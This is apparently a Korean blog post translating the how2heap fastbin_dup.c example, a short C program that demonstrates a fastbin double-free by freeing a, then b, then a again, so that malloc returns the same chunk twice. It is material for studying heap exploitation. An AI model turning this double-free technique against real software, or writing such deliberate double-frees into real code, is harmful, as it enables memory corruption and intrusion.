System

How 2 heap - fastbin_dup.c

IzayoiSakuya 2017. 5. 16. 13:11

원문 : https://github.com/shellphish/how2heap/blob/master/fastbin_dup.c



#include 
#include 

int main()
{
	printf("이 파일은 fastbins을 통한 double-free 공격을 간단하게 보여줄 겁니다.\n");

	printf("3개의 버퍼를 할당하도록 하죠.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("제일 처음것을 할당해제를 하고...\n");
	free(a);

	printf("만약 %p 를 다시 해제한다면 크래쉬가 날텐데, %p가 free list의 제일 위에 있기 때문이죠.\n", a, a);
	// free(a);

	printf("그러므로 대신 %p를 할당해제 합시다..\n", b);
	free(b);

	printf("그럼 이제 %p를 할당해제 할수 있습니다. free list의 처음 노드가 아니기 때문이죠.\n", a);
	free(a);

	printf("free list는 현재 [ %p, %p, %p ] 입니다. 우리가 3회 할당하면, %p를 2번 얻게 될 겁니다.\n", a, b, a, a);
	printf("1st malloc(8): %p\n", malloc(8));
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("3rd malloc(8): %p\n", malloc(8));
}